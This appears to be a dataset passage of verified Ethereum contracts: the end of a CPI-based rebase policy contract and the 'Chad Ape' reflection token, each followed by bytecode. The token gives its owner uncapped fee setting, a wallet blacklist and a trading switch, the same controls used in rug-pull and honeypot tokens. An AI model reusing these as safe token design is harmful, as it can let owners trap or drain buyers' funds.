uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IRebased public rebased;
// Provides the current CPI as a 20 decimal fixed point number.
IOracle public cpiOracle;
// Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number.
IOracle public marketOracle;
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
constructor(uint256 baseCpi_) public {
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 20;
minRebaseTimeIntervalSec = 12 hours;
lastRebaseTimestampSec = 0;
epoch = 0;
baseCpi = baseCpi_;
}
/**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/
function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/
function rebase() external {
require(canRebase(), "Insufficient time has passed since last rebase");
require(tx.origin == msg.sender);
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now);
}
/**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*
*/
function getRebaseValues() public view returns (uint256, uint256, uint256, int256) {
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe();
}
return (cpi, exchangeRate, targetRate, supplyDelta);
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate)
internal
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return rebased.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/**
* @notice Sets the reference to the Rebased token governed.
* Can only be called once during initialization.
*
* @param rebased_ The address of the Rebased ERC20 token.
*/
function setRebased(IRebased rebased_)
external
onlyOwner
{
require(rebased == IRebased(0));
rebased = rebased_;
}
/**
* @notice Sets the reference to the CPI oracle.
* @param cpiOracle_ The address of the cpi oracle contract.
*/
function setCpiOracle(IOracle cpiOracle_)
external
onlyOwner
{
cpiOracle = cpiOracle_;
}
/**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/
function setMarketOracle(IOracle marketOracle_)
external
onlyOwner
{
marketOracle = marketOracle_;
}
} | 0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063ab33c5ca11610071578063ab33c5ca14610229578063acd84e7314610231578063af14052c14610257578063d94ad8371461025f578063f2fde38b1461026757610116565b80638da5cb5b146101eb5780638f32d59b146101f3578063900cf0cf146101fb5780639e30bac51461020357610116565b80633a93069b116100e95780633a93069b146101a35780633d6a46e5146101ab57806360961528146101d357806363f6d4c8146101db578063715018a6146101e357610116565b8063021018991461011b578063112045ba146101355780633148235a14610159578063329ceacd14610187575b600080fd5b61012361028d565b60408051918252519081900360200190f35b61013d610293565b604080516001600160a01b039092168252519081900360200190f35b6101616102a2565b604080519485526020850193909352838301919091526060830152519081900360800190f35b61018f61058a565b604080519115158252519081900360200190f35b6101236105aa565b6101d1600480360360208110156101c157600080fd5b50356001600160a01b03166105b0565b005b61013d6105e3565b6101236105f2565b6101d16105f8565b61013d610651565b61018f610660565b610123610671565b6101d16004803603602081101561021957600080fd5b50356001600160a01b0316610677565b61013d6106aa565b6101d16004803603602081101561024757600080fd5b50356001600160a01b03166106b9565b6101d1610702565b610123610875565b6101d16004803603602081101561027d57600080fd5b50356001600160a01b031661087b565b60075481565b6001546001600160a01b031681565b600080600080600080600260009054906101000a90046001600160a01b03166001600160a01b0316633bc5de306040518163ffffffff1660e01b8152600401604080518083038186803b1580156102f857600080fd5b505afa15801561030c573d6000803e3d6000fd5b505050506040513d604081101561032257600080fd5b50805160209091015190925090508061033a57600080fd5b60045460009061035c9061035685670de0b6b3a7640000610898565b906108c8565b600354604080516303bc5de360e41b8152815193945060009384936001600160a01b031692633bc5de309260048082019391829003018186803b1580156103a257600080fd5b505afa1580156103b6573d6000803e3d6000fd5b505050506040513d60408110156103cc57600080fd5b5080516020909101519092509050806103e457600080fd5b69d3c21bcecceda10000008211156104045769d3c21bcecceda100000091505b600061041083856108ea565b90506104276104206006546109b5565b82906109cf565b90506000811380156104ce575069d3c21bcecceda10000006001600160ff1b03046104cc82600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561049a57600080fd5b505afa1580156104ae573d6000803e3d6000fd5b505050506040513d60208110156104c457600080fd5b505190610a00565b115b1561057857610575610570600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561052757600080fd5b505afa15801561053b573d6000803e3d6000fd5b505050506040513d602081101561055157600080fd5b5051759abe14cd44753b52c4926a9672793542d78c3615cf3a90610a12565b6109b5565b90505b94999198509196509294509192505050565b6000426105a4600754600854610a0090919063ffffffff16565b10905090565b60085481565b6105b8610660565b6105c157600080fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b031681565b60065481565b610600610660565b61060957600080fd5b600080546040516001600160a01b03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a2600080546001600160a01b0319169055565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b60095481565b61067f610660565b61068857600080fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031681565b6106c1610660565b6106ca57600080fd5b6001546001600160a01b0316156106e057600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b61070a61058a565b6107455760405162461bcd60e51b815260040180806020018281038252602e815260200180610b6e602e913960400191505060405180910390fd5b32331461075157600080fd5b42600855600954610763906001610a00565b60095560008080806107736102a2565b60015460095460408051637a43e23f60e01b81526004810192909252602482018490525195995093975091955093506000926001600160a01b0390911691637a43e23f91604480830192602092919082900301818787803b1580156107d757600080fd5b505af11580156107eb573d6000803e3d6000fd5b505050506040513d602081101561080157600080fd5b50519050759abe14cd44753b52c4926a9672793542d78c3615cf3a81111561082557fe5b600954604080518681526020810188905280820185905242606082015290517f41d948a7f29cc695f5d4b3ec147f766bffa165ddd317470fbe05c86d0a9c3e049181900360800190a25050505050565b60055481565b610883610660565b61088c57600080fd5b61089581610a27565b50565b6000826108a7575060006108c2565b828202828482816108b457fe5b04146108bf57600080fd5b90505b92915050565b60008082116108d657600080fd5b60008284816108e157fe5b04949350505050565b60006108f68383610a95565b15610903575060006108c2565b600061090e836109b5565b90506109ad816109a761092a84610924896109b5565b90610af3565b600154604080516318160ddd60e01b815290516109a1926001600160a01b0316916318160ddd916004808301926020929190829003018186803b15801561097057600080fd5b505afa158015610984573d6000803e3d6000fd5b505050506040513d602081101561099a57600080fd5b50516109b5565b90610b26565b906109cf565b949350505050565b60006001600160ff1b038211156109cb57600080fd5b5090565b6000816000191415806109e65750600160ff1b8314155b6109ef57600080fd5b8183816109f857fe5b059392505050565b6000828201838110156108bf57600080fd5b600082821115610a2157600080fd5b50900390565b6001600160a01b038116610a3a57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080610ab56012600a0a6103566005548661089890919063ffffffff16565b9050828410158015610acf575080610acd8585610a12565b105b806109ad575082841080156109ad575080610aea8486610a12565b10949350505050565b6000818303818312801590610b085750838113155b80610b1d5750600083128015610b1d57508381135b6108bf57600080fd5b6000828202600160ff1b81141580610b475750600160ff1b84811690841614155b610b5057600080fd5b821580610b1d575083838281610b6257fe5b05146108bf57600080fdfe496e73756666696369656e742074696d6520686173207061737365642073696e6365206c61737420726562617365a26469706673582212207c6f9be890f0fc5c96df3f83d0c87af5188321b707afbdb0a6383a03b93f45a364736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 350 |
0x7dc151447b67136e430adcee185b9fd9bb0a1e12 | /**
*Submitted for verification at Etherscan.io on 2022-03-19
*/
/*
Telegram: https://t.me/chadapeportal
Web : https://chad-ape.com/
░█████╗░██╗░░██╗░█████╗░██████╗░ ░█████╗░██████╗░███████╗
██╔══██╗██║░░██║██╔══██╗██╔══██╗ ██╔══██╗██╔══██╗██╔════╝
██║░░╚═╝███████║███████║██║░░██║ ███████║██████╔╝█████╗░░
██║░░██╗██╔══██║██╔══██║██║░░██║ ██╔══██║██╔═══╝░██╔══╝░░
╚█████╔╝██║░░██║██║░░██║██████╔╝ ██║░░██║██║░░░░░███████╗
░╚════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░ ╚═╝░░╚═╝╚═╝░░░░░╚══════╝
Chad Ape is an ERC-20 token which rewards holders, and is the Governance Token for CHAD STAKE staking platform
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract chadapecontract is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Chad Ape";
string private constant _symbol = "CHAD APE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x67793Fcb8C17C2B7813184a7b7A7283Df8599d9C);
address payable private _marketingAddress = payable(0x67793Fcb8C17C2B7813184a7b7A7283Df8599d9C);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104b257600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fd565b005b34801561020a57600080fd5b50604080518082019091526008815267436861642041706560c01b60208201525b6040516102389190611a26565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a7b565b61069c565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50670de0b6b3a76400005b604051908152602001610238565b3480156102da57600080fd5b506102616102e9366004611aa7565b6106b3565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610238565b34801561032c57600080fd5b50601554610291906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ae8565b61071c565b34801561036c57600080fd5b506101fc61037b366004611b15565b610767565b34801561038c57600080fd5b506101fc6107af565b3480156103a157600080fd5b506102c06103b0366004611ae8565b6107fa565b3480156103c157600080fd5b506101fc61081c565b3480156103d657600080fd5b506101fc6103e5366004611b30565b610890565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611ae8565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610291565b34801561045757600080fd5b506101fc610466366004611b15565b6108bf565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b50604080518082019091526008815267434841442041504560c01b602082015261022b565b3480156104be57600080fd5b506101fc6104cd366004611b30565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b49565b610936565b3480156104fe57600080fd5b5061026161050d366004611a7b565b610974565b34801561051e57600080fd5b5061026161052d366004611ae8565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7b565b6109d5565b34801561058357600080fd5b506102c0610592366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b30565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c38565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c99565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c38565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c38565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c38565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c38565b60005b82811015610a70578160056000868685818110610a2157610a21611c6d565b9050602002016020810190610a369190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c99565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c38565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c38565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201526464726573